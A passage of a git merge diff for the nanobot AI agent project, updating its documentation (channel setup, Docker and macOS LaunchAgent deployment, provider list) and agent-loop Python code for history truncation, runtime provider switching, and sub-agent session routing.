Merge origin/main into web-tools
Made-with: Cursor
This commit is contained in:
@@ -87,6 +87,11 @@ ruff check nanobot/
|
||||
ruff format nanobot/
|
||||
```
|
||||
|
||||
## Contribution License
|
||||
|
||||
By submitting a contribution, you confirm that you have the right to submit it
|
||||
and agree that it will be licensed under the project's MIT License.
|
||||
|
||||
## Code Style
|
||||
|
||||
We care about more than passing lint. We want nanobot to stay small, calm, and readable.
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 nanobot contributors
|
||||
Copyright (c) 2025-present Xubin Ren and the nanobot contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -282,6 +282,10 @@ PRs welcome! The codebase is intentionally small and readable. 🤗
|
||||
- **More integrations** — Calendar and more
|
||||
- **Self-improvement** — Learn from feedback and mistakes
|
||||
|
||||
## Contact
|
||||
|
||||
This project was started by [Xubin Ren](https://github.com/re-bin) as a personal open-source project and continues to be maintained in an individual capacity using personal resources, with contributions from the open-source community. Feel free to contact [xubinrencs@gmail.com](mailto:xubinrencs@gmail.com) for questions, ideas, or collaboration.
|
||||
|
||||
### Contributors
|
||||
|
||||
<a href="https://github.com/HKUDS/nanobot/graphs/contributors">
|
||||
|
||||
+1
-1
@@ -18,7 +18,7 @@ Start here for setup, everyday usage, and deployment.
|
||||
| CLI reference | [`cli-reference.md`](./cli-reference.md) | Core CLI commands and common entrypoints |
|
||||
| In-chat commands | [`chat-commands.md`](./chat-commands.md) | Slash commands and periodic task behavior |
|
||||
| OpenAI-compatible API | [`openai-api.md`](./openai-api.md) | Local API endpoints, request format, and file uploads |
|
||||
| Deployment | [`deployment.md`](./deployment.md) | Docker and Linux service setup |
|
||||
| Deployment | [`deployment.md`](./deployment.md) | Docker, Linux service, and macOS LaunchAgent setup |
|
||||
|
||||
## Advanced Docs
|
||||
|
||||
|
||||
+14
-4
@@ -147,7 +147,7 @@ If you prefer to configure manually, add the following to `~/.nanobot/config.jso
|
||||
> - `"open"` — Respond to all messages
|
||||
> DMs always respond when the sender is in `allowFrom`.
|
||||
> - If you set group policy to open create new threads as private threads and then @ the bot into it. Otherwise the thread itself and the channel in which you spawned it will spawn a bot session.
|
||||
> `allowChannels` restricts the bot to specific Discord channel IDs. Empty (default) means respond in every channel the bot can see. Example: `["1234567890", "0987654321"]`. The filter applies after `allowFrom`, so both must pass.
|
||||
> `allowChannels` restricts the bot to specific Discord channel IDs. Empty (default) means respond in every channel the bot can see. Example: `["1234567890", "0987654321"]`. The filter applies after `allowFrom`, so both must pass. Discord threads under an allowed parent channel are also allowed; for Forum channels, allowing the parent Forum channel allows all threads/posts in that forum.
|
||||
> `streaming` defaults to `true`. Disable it only if you explicitly want non-streaming replies.
|
||||
|
||||
**5. Invite the bot**
|
||||
@@ -434,11 +434,13 @@ Uses **Socket Mode** — no public URL required.
|
||||
|
||||
**2. Configure the app**
|
||||
- **Socket Mode**: Toggle ON → Generate an **App-Level Token** with `connections:write` scope → copy it (`xapp-...`)
|
||||
- **OAuth & Permissions**: Add bot scopes: `chat:write`, `reactions:write`, `app_mentions:read`
|
||||
- **OAuth & Permissions**: Add bot scopes: `chat:write`, `reactions:write`, `app_mentions:read`, `files:read`, `files:write`, `channels:history`, `groups:history`, `im:history`, `mpim:history`
|
||||
- **Event Subscriptions**: Toggle ON → Subscribe to bot events: `message.im`, `message.channels`, `app_mention` → Save Changes
|
||||
- **App Home**: Scroll to **Show Tabs** → Enable **Messages Tab** → Check **"Allow users to send Slash commands and messages from the messages tab"**
|
||||
- **Install App**: Click **Install to Workspace** → Authorize → copy the **Bot Token** (`xoxb-...`)
|
||||
|
||||
> `files:read` is required to read files users send to nanobot. `files:write` is required for nanobot to send images, videos, and other file uploads. If you add either scope later, reinstall the Slack app to the workspace and restart nanobot so it uses the updated bot token.
|
||||
|
||||
**3. Configure nanobot**
|
||||
|
||||
```json
|
||||
@@ -642,7 +644,11 @@ Create or reuse a Microsoft Teams / Azure bot app registration. Set the bot mess
|
||||
"allowFrom": ["*"],
|
||||
"replyInThread": true,
|
||||
"mentionOnlyResponse": "Hi — what can I help with?",
|
||||
"validateInboundAuth": true
|
||||
"validateInboundAuth": true,
|
||||
"refTtlDays": 30,
|
||||
"pruneWebChatRefs": true,
|
||||
"pruneNonPersonalRefs": true,
|
||||
"refTouchIntervalS": 300
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -651,6 +657,10 @@ Create or reuse a Microsoft Teams / Azure bot app registration. Set the bot mess
|
||||
> - `replyInThread: true` replies to the triggering Teams activity when a stored `activity_id` is available.
|
||||
> - `mentionOnlyResponse` controls what Nanobot receives when a user sends only a bot mention (`<at>Nanobot</at>`). Set to `""` to ignore mention-only messages.
|
||||
> - `validateInboundAuth: true` enables inbound Bot Framework bearer-token validation (signature, issuer, audience, lifetime, `serviceUrl`). This is the safe default for public deployments. Only set it to `false` for local development or tightly controlled testing.
|
||||
> - `refTtlDays` (default `30`) controls how old stored conversation refs can be before they are pruned.
|
||||
> - `pruneWebChatRefs` (default `true`) drops refs with `webchat.botframework.com` service URLs.
|
||||
> - `pruneNonPersonalRefs` (default `true`) drops refs whose `conversation_type` is not `personal`.
|
||||
> - `refTouchIntervalS` (default `300`) throttles how often successful sends refresh `updated_at` for active refs.
|
||||
|
||||
**4. Run**
|
||||
|
||||
@@ -658,4 +668,4 @@ Create or reuse a Microsoft Teams / Azure bot app registration. Set the bot mess
|
||||
nanobot gateway
|
||||
```
|
||||
|
||||
</details>
|
||||
</details>
|
||||
|
||||
@@ -58,6 +58,7 @@ IMAP_PASSWORD=your-password-here
|
||||
|----------|---------|-------------|
|
||||
| `custom` | Any OpenAI-compatible endpoint | — |
|
||||
| `openrouter` | LLM (recommended, access to all models) | [openrouter.ai](https://openrouter.ai) |
|
||||
| `huggingface` | LLM (Hugging Face Inference Providers) | [huggingface.co/settings/tokens](https://huggingface.co/settings/tokens) |
|
||||
| `volcengine` | LLM (VolcEngine, pay-per-use) | [Coding Plan](https://www.volcengine.com/activity/codingplan?utm_campaign=nanobot&utm_content=nanobot&utm_medium=devrel&utm_source=OWO&utm_term=nanobot) · [volcengine.com](https://www.volcengine.com) |
|
||||
| `byteplus` | LLM (VolcEngine international, pay-per-use) | [Coding Plan](https://www.byteplus.com/en/activity/codingplan?utm_campaign=nanobot&utm_content=nanobot&utm_medium=devrel&utm_source=OWO&utm_term=nanobot) · [byteplus.com](https://www.byteplus.com) |
|
||||
| `anthropic` | LLM (Claude direct) | [console.anthropic.com](https://console.anthropic.com) |
|
||||
|
||||
+77
-1
@@ -4,7 +4,11 @@
|
||||
|
||||
> [!TIP]
|
||||
> The `-v ~/.nanobot:/home/nanobot/.nanobot` flag mounts your local config directory into the container, so your config and workspace persist across container restarts.
|
||||
> The container runs as user `nanobot` (UID 1000). If you get **Permission denied**, fix ownership on the host first: `sudo chown -R 1000:1000 ~/.nanobot`, or pass `--user $(id -u):$(id -g)` to match your host UID. Podman users can use `--userns=keep-id` instead.
|
||||
> The container runs as the non-root user `nanobot` (UID 1000) and reads config from `/home/nanobot/.nanobot`. Always mount your host config directory to `/home/nanobot/.nanobot`, not `/root/.nanobot`.
|
||||
> If you get **Permission denied**, fix ownership on the host first: `sudo chown -R 1000:1000 ~/.nanobot`, or pass `--user $(id -u):$(id -g)` to match your host UID. Podman users can use `--userns=keep-id` instead.
|
||||
>
|
||||
> [!IMPORTANT]
|
||||
> Official Docker usage currently means building from this repository with the included `Dockerfile`. Docker Hub images under third-party namespaces are not maintained or verified by HKUDS/nanobot; do not mount API keys or bot tokens into them unless you trust the publisher.
|
||||
|
||||
### Docker Compose
|
||||
|
||||
@@ -92,3 +96,75 @@ If you edit the `.service` file itself, run `systemctl --user daemon-reload` bef
|
||||
> ```bash
|
||||
> loginctl enable-linger $USER
|
||||
> ```
|
||||
|
||||
## macOS LaunchAgent
|
||||
|
||||
Use a LaunchAgent when you want `nanobot gateway` to stay online after you log in, without keeping a terminal open.
|
||||
|
||||
**1. Get the absolute `nanobot` path:**
|
||||
|
||||
```bash
|
||||
which nanobot # e.g. /Users/youruser/.local/bin/nanobot
|
||||
```
|
||||
|
||||
Use that exact path in the plist. It keeps the Python environment from your install method.
|
||||
|
||||
**2. Create `~/Library/LaunchAgents/ai.nanobot.gateway.plist`:**
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>ai.nanobot.gateway</string>
|
||||
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/Users/youruser/.local/bin/nanobot</string>
|
||||
<string>gateway</string>
|
||||
<string>--workspace</string>
|
||||
<string>/Users/youruser/.nanobot/workspace</string>
|
||||
</array>
|
||||
|
||||
<key>WorkingDirectory</key>
|
||||
<string>/Users/youruser/.nanobot/workspace</string>
|
||||
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
|
||||
<key>KeepAlive</key>
|
||||
<dict>
|
||||
<key>SuccessfulExit</key>
|
||||
<false/>
|
||||
</dict>
|
||||
|
||||
<key>StandardOutPath</key>
|
||||
<string>/Users/youruser/.nanobot/logs/gateway.log</string>
|
||||
|
||||
<key>StandardErrorPath</key>
|
||||
<string>/Users/youruser/.nanobot/logs/gateway.error.log</string>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
|
||||
**3. Load and start it:**
|
||||
|
||||
```bash
|
||||
mkdir -p ~/Library/LaunchAgents ~/.nanobot/logs
|
||||
launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/ai.nanobot.gateway.plist
|
||||
launchctl enable gui/$(id -u)/ai.nanobot.gateway
|
||||
launchctl kickstart -k gui/$(id -u)/ai.nanobot.gateway
|
||||
```
|
||||
|
||||
**Common operations:**
|
||||
|
||||
```bash
|
||||
launchctl list | grep ai.nanobot.gateway
|
||||
launchctl kickstart -k gui/$(id -u)/ai.nanobot.gateway # restart
|
||||
launchctl bootout gui/$(id -u) ~/Library/LaunchAgents/ai.nanobot.gateway.plist
|
||||
```
|
||||
|
||||
After editing the plist, run `launchctl bootout ...` and `launchctl bootstrap ...` again.
|
||||
|
||||
> **Note:** if startup fails with "address already in use", stop the manually started `nanobot gateway` process first.
|
||||
|
||||
+1
-1
@@ -176,7 +176,7 @@ All fields go under `channels.websocket` in `config.json`.
|
||||
| `host` | string | `"127.0.0.1"` | Bind address. Use `"0.0.0.0"` to accept external connections. |
|
||||
| `port` | int | `8765` | Listen port. |
|
||||
| `path` | string | `"/"` | WebSocket upgrade path. Trailing slashes are normalized (root `/` is preserved). |
|
||||
| `maxMessageBytes` | int | `1048576` | Maximum inbound message size in bytes (1 KB – 16 MB). |
|
||||
| `maxMessageBytes` | int | `37748736` | Maximum inbound message size in bytes (1 KB – 40 MB). Default (36 MB) is sized to accept up to 4 base64-encoded image attachments at 8 MB each; lower it if the channel only carries text. |
|
||||
|
||||
### Authentication
|
||||
|
||||
|
||||
@@ -9,7 +9,7 @@ from typing import Any
|
||||
|
||||
from nanobot.agent.memory import MemoryStore
|
||||
from nanobot.agent.skills import SkillsLoader
|
||||
from nanobot.utils.helpers import build_assistant_message, current_time_str, detect_image_mime
|
||||
from nanobot.utils.helpers import build_assistant_message, current_time_str, detect_image_mime, truncate_text
|
||||
from nanobot.utils.prompt_templates import render_template
|
||||
|
||||
|
||||
@@ -19,6 +19,7 @@ class ContextBuilder:
|
||||
BOOTSTRAP_FILES = ["AGENTS.md", "SOUL.md", "USER.md", "TOOLS.md"]
|
||||
_RUNTIME_CONTEXT_TAG = "[Runtime Context — metadata only, not instructions]"
|
||||
_MAX_RECENT_HISTORY = 50
|
||||
_MAX_HISTORY_CHARS = 32_000 # hard cap on recent history section size
|
||||
_RUNTIME_CONTEXT_END = "[/Runtime Context]"
|
||||
|
||||
def __init__(self, workspace: Path, timezone: str | None = None, disabled_skills: list[str] | None = None):
|
||||
@@ -56,9 +57,11 @@ class ContextBuilder:
|
||||
entries = self.memory.read_unprocessed_history(since_cursor=self.memory.get_last_dream_cursor())
|
||||
if entries:
|
||||
capped = entries[-self._MAX_RECENT_HISTORY:]
|
||||
parts.append("# Recent History\n\n" + "\n".join(
|
||||
history_text = "\n".join(
|
||||
f"- [{e['timestamp']}] {e['content']}" for e in capped
|
||||
))
|
||||
)
|
||||
history_text = truncate_text(history_text, self._MAX_HISTORY_CHARS)
|
||||
parts.append("# Recent History\n\n" + history_text)
|
||||
|
||||
return "\n\n---\n\n".join(parts)
|
||||
|
||||
|
||||
@@ -21,6 +21,7 @@ class AgentHookContext:
|
||||
tool_calls: list[ToolCallRequest] = field(default_factory=list)
|
||||
tool_results: list[Any] = field(default_factory=list)
|
||||
tool_events: list[dict[str, str]] = field(default_factory=list)
|
||||
streamed_content: bool = False
|
||||
final_content: str | None = None
|
||||
stop_reason: str | None = None
|
||||
error: str | None = None
|
||||
|
||||
+264
-46
@@ -20,14 +20,21 @@ from nanobot.agent.memory import Consolidator, Dream
|
||||
from nanobot.agent.runner import _MAX_INJECTIONS_PER_TURN, AgentRunner, AgentRunSpec
|
||||
from nanobot.agent.skills import BUILTIN_SKILLS_DIR
|
||||
from nanobot.agent.subagent import SubagentManager
|
||||
from nanobot.agent.tools.ask import (
|
||||
AskUserTool,
|
||||
ask_user_options_from_messages,
|
||||
ask_user_outbound,
|
||||
ask_user_tool_result_messages,
|
||||
pending_ask_user_id,
|
||||
)
|
||||
from nanobot.agent.tools.cron import CronTool
|
||||
from nanobot.agent.tools.filesystem import EditFileTool, ListDirTool, ReadFileTool, WriteFileTool
|
||||
from nanobot.agent.tools.message import MessageTool
|
||||
from nanobot.agent.tools.notebook import NotebookEditTool
|
||||
from nanobot.agent.tools.registry import ToolRegistry
|
||||
from nanobot.agent.tools.search import GlobTool, GrepTool
|
||||
from nanobot.agent.tools.shell import ExecTool
|
||||
from nanobot.agent.tools.self import MyTool
|
||||
from nanobot.agent.tools.shell import ExecTool
|
||||
from nanobot.agent.tools.spawn import SpawnTool
|
||||
from nanobot.agent.tools.web import WebFetchTool, WebSearchTool
|
||||
from nanobot.bus.events import InboundMessage, OutboundMessage
|
||||
@@ -35,10 +42,17 @@ from nanobot.bus.queue import MessageBus
|
||||
from nanobot.command import CommandContext, CommandRouter, register_builtin_commands
|
||||
from nanobot.config.schema import AgentDefaults
|
||||
from nanobot.providers.base import LLMProvider
|
||||
from nanobot.providers.factory import ProviderSnapshot
|
||||
from nanobot.session.manager import Session, SessionManager
|
||||
from nanobot.utils.document import extract_documents
|
||||
from nanobot.utils.helpers import image_placeholder_text
|
||||
from nanobot.utils.helpers import truncate_text as truncate_text_fn
|
||||
from nanobot.utils.progress_events import (
|
||||
build_tool_event_finish_payloads,
|
||||
build_tool_event_start_payload,
|
||||
invoke_on_progress,
|
||||
on_progress_accepts_tool_events,
|
||||
)
|
||||
from nanobot.utils.runtime import EMPTY_FINAL_RESPONSE_MESSAGE
|
||||
|
||||
if TYPE_CHECKING:
|
||||
@@ -62,6 +76,8 @@ class _LoopHook(AgentHook):
|
||||
channel: str = "cli",
|
||||
chat_id: str = "direct",
|
||||
message_id: str | None = None,
|
||||
metadata: dict[str, Any] | None = None,
|
||||
session_key: str | None = None,
|
||||
) -> None:
|
||||
super().__init__(reraise=True)
|
||||
self._loop = agent_loop
|
||||
@@ -71,6 +87,8 @@ class _LoopHook(AgentHook):
|
||||
self._channel = channel
|
||||
self._chat_id = chat_id
|
||||
self._message_id = message_id
|
||||
self._metadata = metadata or {}
|
||||
self._session_key = session_key
|
||||
self._stream_buf = ""
|
||||
|
||||
def wants_streaming(self) -> bool:
|
||||
@@ -96,20 +114,46 @@ class _LoopHook(AgentHook):
|
||||
|
||||
async def before_execute_tools(self, context: AgentHookContext) -> None:
|
||||
if self._on_progress:
|
||||
if not self._on_stream:
|
||||
if not self._on_stream and not context.streamed_content:
|
||||
thought = self._loop._strip_think(
|
||||
context.response.content if context.response else None
|
||||
)
|
||||
if thought:
|
||||
await self._on_progress(thought)
|
||||
tool_hint = self._loop._strip_think(self._loop._tool_hint(context.tool_calls))
|
||||
await self._on_progress(tool_hint, tool_hint=True)
|
||||
tool_events = [build_tool_event_start_payload(tc) for tc in context.tool_calls]
|
||||
await invoke_on_progress(
|
||||
self._on_progress,
|
||||
tool_hint,
|
||||
tool_hint=True,
|
||||
tool_events=tool_events,
|
||||
)
|
||||
for tc in context.tool_calls:
|
||||
args_str = json.dumps(tc.arguments, ensure_ascii=False)
|
||||
logger.info("Tool call: {}({})", tc.name, args_str[:200])
|
||||
self._loop._set_tool_context(self._channel, self._chat_id, self._message_id)
|
||||
self._loop._set_tool_context(
|
||||
self._channel,
|
||||
self._chat_id,
|
||||
self._message_id,
|
||||
self._metadata,
|
||||
session_key=self._session_key,
|
||||
)
|
||||
|
||||
async def after_iteration(self, context: AgentHookContext) -> None:
|
||||
if (
|
||||
self._on_progress
|
||||
and context.tool_calls
|
||||
and context.tool_events
|
||||
and on_progress_accepts_tool_events(self._on_progress)
|
||||
):
|
||||
tool_events = build_tool_event_finish_payloads(context)
|
||||
if tool_events:
|
||||
await invoke_on_progress(
|
||||
self._on_progress,
|
||||
"",
|
||||
tool_hint=False,
|
||||
tool_events=tool_events,
|
||||
)
|
||||
u = context.usage or {}
|
||||
logger.debug(
|
||||
"LLM usage: prompt={} completion={} cached={}",
|
||||
@@ -157,10 +201,14 @@ class AgentLoop:
|
||||
channels_config: ChannelsConfig | None = None,
|
||||
timezone: str | None = None,
|
||||
session_ttl_minutes: int = 0,
|
||||
consolidation_ratio: float = 0.5,
|
||||
max_messages: int = 120,
|
||||
hooks: list[AgentHook] | None = None,
|
||||
unified_session: bool = False,
|
||||
disabled_skills: list[str] | None = None,
|
||||
tools_config: ToolsConfig | None = None,
|
||||
provider_snapshot_loader: Callable[[], ProviderSnapshot] | None = None,
|
||||
provider_signature: tuple[object, ...] | None = None,
|
||||
):
|
||||
from nanobot.config.schema import ExecToolConfig, ToolsConfig, WebToolsConfig
|
||||
|
||||
@@ -169,6 +217,8 @@ class AgentLoop:
|
||||
self.bus = bus
|
||||
self.channels_config = channels_config
|
||||
self.provider = provider
|
||||
self._provider_snapshot_loader = provider_snapshot_loader
|
||||
self._provider_signature = provider_signature
|
||||
self.workspace = workspace
|
||||
self.model = model or provider.get_default_model()
|
||||
self.max_iterations = (
|
||||
@@ -210,6 +260,7 @@ class AgentLoop:
|
||||
disabled_skills=disabled_skills,
|
||||
)
|
||||
self._unified_session = unified_session
|
||||
self._max_messages = max_messages if max_messages > 0 else 120
|
||||
self._running = False
|
||||
self._mcp_servers = mcp_servers or {}
|
||||
self._mcp_stacks: dict[str, AsyncExitStack] = {}
|
||||
@@ -236,6 +287,7 @@ class AgentLoop:
|
||||
build_messages=self.context.build_messages,
|
||||
get_tool_definitions=self.tools.get_definitions,
|
||||
max_completion_tokens=provider.generation.max_tokens,
|
||||
consolidation_ratio=consolidation_ratio,
|
||||
)
|
||||
self.auto_compact = AutoCompact(
|
||||
sessions=self.sessions,
|
||||
@@ -255,12 +307,43 @@ class AgentLoop:
|
||||
self.commands = CommandRouter()
|
||||
register_builtin_commands(self.commands)
|
||||
|
||||
def _apply_provider_snapshot(self, snapshot: ProviderSnapshot) -> None:
|
||||
"""Swap model/provider for future turns without disturbing an active one."""
|
||||
provider = snapshot.provider
|
||||
model = snapshot.model
|
||||
context_window_tokens = snapshot.context_window_tokens
|
||||
if self.provider is provider and self.model == model:
|
||||
return
|
||||
old_model = self.model
|
||||
self.provider = provider
|
||||
self.model = model
|
||||
self.context_window_tokens = context_window_tokens
|
||||
self.runner.provider = provider
|
||||
self.subagents.set_provider(provider, model)
|
||||
self.consolidator.set_provider(provider, model, context_window_tokens)
|
||||
self.dream.set_provider(provider, model)
|
||||
self._provider_signature = snapshot.signature
|
||||
logger.info("Runtime model switched for next turn: {} -> {}", old_model, model)
|
||||
|
||||
def _refresh_provider_snapshot(self) -> None:
|
||||
if self._provider_snapshot_loader is None:
|
||||
return
|
||||
try:
|
||||
snapshot = self._provider_snapshot_loader()
|
||||
except Exception:
|
||||
logger.exception("Failed to refresh provider config")
|
||||
return
|
||||
if snapshot.signature == self._provider_signature:
|
||||
return
|
||||
self._apply_provider_snapshot(snapshot)
|
||||
|
||||
def _register_default_tools(self) -> None:
|
||||
"""Register the default set of tools."""
|
||||
allowed_dir = (
|
||||
self.workspace if (self.restrict_to_workspace or self.exec_config.sandbox) else None
|
||||
)
|
||||
extra_read = [BUILTIN_SKILLS_DIR] if allowed_dir else None
|
||||
self.tools.register(AskUserTool())
|
||||
self.tools.register(
|
||||
ReadFileTool(
|
||||
workspace=self.workspace, allowed_dir=allowed_dir, extra_allowed_dirs=extra_read
|
||||
@@ -297,7 +380,7 @@ class AgentLoop:
|
||||
user_agent=self.web_config.user_agent,
|
||||
)
|
||||
)
|
||||
self.tools.register(MessageTool(send_callback=self.bus.publish_outbound))
|
||||
self.tools.register(MessageTool(send_callback=self.bus.publish_outbound, workspace=self.workspace))
|
||||
self.tools.register(SpawnTool(manager=self.subagents))
|
||||
if self.cron_service:
|
||||
self.tools.register(
|
||||
@@ -326,18 +409,33 @@ class AgentLoop:
|
||||
finally:
|
||||
self._mcp_connecting = False
|
||||
|
||||
def _set_tool_context(self, channel: str, chat_id: str, message_id: str | None = None) -> None:
|
||||
def _set_tool_context(
|
||||
self, channel: str, chat_id: str,
|
||||
message_id: str | None = None, metadata: dict | None = None,
|
||||
session_key: str | None = None,
|
||||
) -> None:
|
||||
"""Update context for all tools that need routing info."""
|
||||
# Compute the effective session key (accounts for unified sessions)
|
||||
# so that subagent results route to the correct pending queue.
|
||||
effective_key = UNIFIED_SESSION_KEY if self._unified_session else f"{channel}:{chat_id}"
|
||||
# When the caller threads a thread-scoped session_key (e.g. slack with
|
||||
# reply_in_thread: true), honor it so spawn announces route back to
|
||||
# the originating thread session. Falls back to unified mode or
|
||||
# channel:chat_id for callers that don't have a thread-scoped key.
|
||||
if session_key is not None:
|
||||
effective_key = session_key
|
||||
elif self._unified_session:
|
||||
effective_key = UNIFIED_SESSION_KEY
|
||||
else:
|
||||
effective_key = f"{channel}:{chat_id}"
|
||||
for name in ("message", "spawn", "cron", "my"):
|
||||
if tool := self.tools.get(name):
|
||||
if hasattr(tool, "set_context"):
|
||||
if name == "spawn":
|
||||
tool.set_context(channel, chat_id, effective_key=effective_key)
|
||||
elif name == "cron":
|
||||
tool.set_context(channel, chat_id, metadata=metadata, session_key=session_key)
|
||||
elif name == "message":
|
||||
tool.set_context(channel, chat_id, message_id, metadata=metadata)
|
||||
else:
|
||||
tool.set_context(channel, chat_id, *([message_id] if name == "message" else []))
|
||||
tool.set_context(channel, chat_id)
|
||||
|
||||
@staticmethod
|
||||
def _strip_think(text: str | None) -> str | None:
|
||||
@@ -348,6 +446,11 @@ class AgentLoop:
|
||||
|
||||
return strip_think(text) or None
|
||||
|
||||
@staticmethod
|
||||
def _runtime_chat_id(msg: InboundMessage) -> str:
|
||||
"""Return the chat id shown in runtime metadata for the model."""
|
||||
return str(msg.metadata.get("context_chat_id") or msg.chat_id)
|
||||
|
||||
@staticmethod
|
||||
def _tool_hint(tool_calls: list) -> str:
|
||||
"""Format tool calls as concise hints with smart abbreviation."""
|
||||
@@ -391,6 +494,18 @@ class AgentLoop:
|
||||
return UNIFIED_SESSION_KEY
|
||||
return msg.session_key
|
||||
|
||||
def _replay_token_budget(self) -> int:
|
||||
"""Derive a token budget for session history replay from the context window."""
|
||||
if self.context_window_tokens <= 0:
|
||||
return 0
|
||||
max_output = getattr(getattr(self.provider, "generation", None), "max_tokens", 4096)
|
||||
try:
|
||||
reserved_output = int(max_output)
|
||||
except (TypeError, ValueError):
|
||||
reserved_output = 4096
|
||||
budget = self.context_window_tokens - max(1, reserved_output) - 1024
|
||||
return budget if budget > 0 else max(128, self.context_window_tokens // 2)
|
||||
|
||||
async def _run_agent_loop(
|
||||
self,
|
||||
initial_messages: list[dict],
|
||||
@@ -403,6 +518,8 @@ class AgentLoop:
|
||||
channel: str = "cli",
|
||||
chat_id: str = "direct",
|
||||
message_id: str | None = None,
|
||||
metadata: dict[str, Any] | None = None,
|
||||
session_key: str | None = None,
|
||||
pending_queue: asyncio.Queue | None = None,
|
||||
) -> tuple[str | None, list[str], list[dict], str, bool]:
|
||||
"""Run the agent iteration loop.
|
||||
@@ -422,6 +539,8 @@ class AgentLoop:
|
||||
channel=channel,
|
||||
chat_id=chat_id,
|
||||
message_id=message_id,
|
||||
metadata=metadata,
|
||||
session_key=session_key,
|
||||
)
|
||||
hook: AgentHook = (
|
||||
CompositeHook([loop_hook] + self._extra_hooks) if self._extra_hooks else loop_hook
|
||||
@@ -433,15 +552,18 @@ class AgentLoop:
|
||||
self._set_runtime_checkpoint(session, payload)
|
||||
|
||||
async def _drain_pending(*, limit: int = _MAX_INJECTIONS_PER_TURN) -> list[dict[str, Any]]:
|
||||
"""Non-blocking drain of follow-up messages from the pending queue."""
|
||||
"""Drain follow-up messages from the pending queue.
|
||||
|
||||
When no messages are immediately available but sub-agents
|
||||
spawned in this dispatch are still running, blocks until at
|
||||
least one result arrives (or timeout). This keeps the runner
|
||||
loop alive so subsequent sub-agent completions are consumed
|
||||
in-order rather than dispatched separately.
|
||||
"""
|
||||
if pending_queue is None:
|
||||
return []
|
||||
items: list[dict[str, Any]] = []
|
||||
while len(items) < limit:
|
||||
try:
|
||||
pending_msg = pending_queue.get_nowait()
|
||||
except asyncio.QueueEmpty:
|
||||
break
|
||||
|
||||
def _to_user_message(pending_msg: InboundMessage) -> dict[str, Any]:
|
||||
content = pending_msg.content
|
||||
media = pending_msg.media if pending_msg.media else None
|
||||
if media:
|
||||
@@ -450,14 +572,43 @@ class AgentLoop:
|
||||
user_content = self.context._build_user_content(content, media)
|
||||
runtime_ctx = self.context._build_runtime_context(
|
||||
pending_msg.channel,
|
||||
pending_msg.chat_id,
|
||||
self._runtime_chat_id(pending_msg),
|
||||
self.context.timezone,
|
||||
)
|
||||
if isinstance(user_content, str):
|
||||
merged: str | list[dict[str, Any]] = f"{runtime_ctx}\n\n{user_content}"
|
||||
else:
|
||||
merged = [{"type": "text", "text": runtime_ctx}] + user_content
|
||||
items.append({"role": "user", "content": merged})
|
||||
return {"role": "user", "content": merged}
|
||||
|
||||
items: list[dict[str, Any]] = []
|
||||
while len(items) < limit:
|
||||
try:
|
||||
items.append(_to_user_message(pending_queue.get_nowait()))
|
||||
except asyncio.QueueEmpty:
|
||||
break
|
||||
|
||||
# Block if nothing drained but sub-agents spawned in this dispatch
|
||||
# are still running. Keeps the runner loop alive so subsequent
|
||||
# completions are injected in-order rather than dispatched separately.
|
||||
if (not items
|
||||
and session is not None
|
||||
and self.subagents.get_running_count_by_session(session.key) > 0):
|
||||
try:
|
||||
msg = await asyncio.wait_for(pending_queue.get(), timeout=300)
|
||||
except asyncio.TimeoutError:
|
||||
logger.warning(
|
||||
"Timeout waiting for sub-agent completion in session {}",
|
||||
session.key,
|
||||
)
|
||||
return items
|
||||
items.append(_to_user_message(msg))
|
||||
while len(items) < limit:
|
||||
try:
|
||||
items.append(_to_user_message(pending_queue.get_nowait()))
|
||||
except asyncio.QueueEmpty:
|
||||
break
|
||||
|
||||
return items
|
||||
|
||||
result = await self.runner.run(AgentRunSpec(
|
||||
@@ -704,19 +855,23 @@ class AgentLoop:
|
||||
self,
|
||||
msg: InboundMessage,
|
||||
session_key: str | None = None,
|
||||
on_progress: Callable[[str], Awaitable[None]] | None = None,
|
||||
on_progress: Callable[..., Awaitable[None]] | None = None,
|
||||
on_stream: Callable[[str], Awaitable[None]] | None = None,
|
||||
on_stream_end: Callable[..., Awaitable[None]] | None = None,
|
||||
pending_queue: asyncio.Queue | None = None,
|
||||
) -> OutboundMessage | None:
|
||||
"""Process a single inbound message and return the response."""
|
||||
self._refresh_provider_snapshot()
|
||||
# System messages: parse origin from chat_id ("channel:chat_id")
|
||||
if msg.channel == "system":
|
||||
channel, chat_id = (
|
||||
msg.chat_id.split(":", 1) if ":" in msg.chat_id else ("cli", msg.chat_id)
|
||||
)
|
||||
logger.info("Processing system message from {}", msg.sender_id)
|
||||
key = f"{channel}:{chat_id}"
|
||||
# Honor session_key_override so subagent announces from threaded
|
||||
# callers route to the originating thread session, not the
|
||||
# channel-level session derived from chat_id.
|
||||
key = msg.session_key_override or f"{channel}:{chat_id}"
|
||||
session = self.sessions.get_or_create(key)
|
||||
if self._restore_runtime_checkpoint(session):
|
||||
self.sessions.save(session)
|
||||
@@ -737,8 +892,16 @@ class AgentLoop:
|
||||
is_subagent = msg.sender_id == "subagent"
|
||||
if is_subagent and self._persist_subagent_followup(session, msg):
|
||||
self.sessions.save(session)
|
||||
self._set_tool_context(channel, chat_id, msg.metadata.get("message_id"))
|
||||
history = session.get_history(max_messages=0)
|
||||
self._set_tool_context(
|
||||
channel, chat_id, msg.metadata.get("message_id"),
|
||||
msg.metadata, session_key=key,
|
||||
)
|
||||
_hist_kwargs: dict[str, Any] = {
|
||||
"max_messages": self._max_messages,
|
||||
"max_tokens": self._replay_token_budget(),
|
||||
"include_timestamps": True,
|
||||
}
|
||||
history = session.get_history(**_hist_kwargs)
|
||||
current_role = "assistant" if is_subagent else "user"
|
||||
|
||||
# Subagent content is already in `history` above; passing it again
|
||||
@@ -751,18 +914,38 @@ class AgentLoop:
|
||||
session_summary=pending,
|
||||
current_role=current_role,
|
||||
)
|
||||
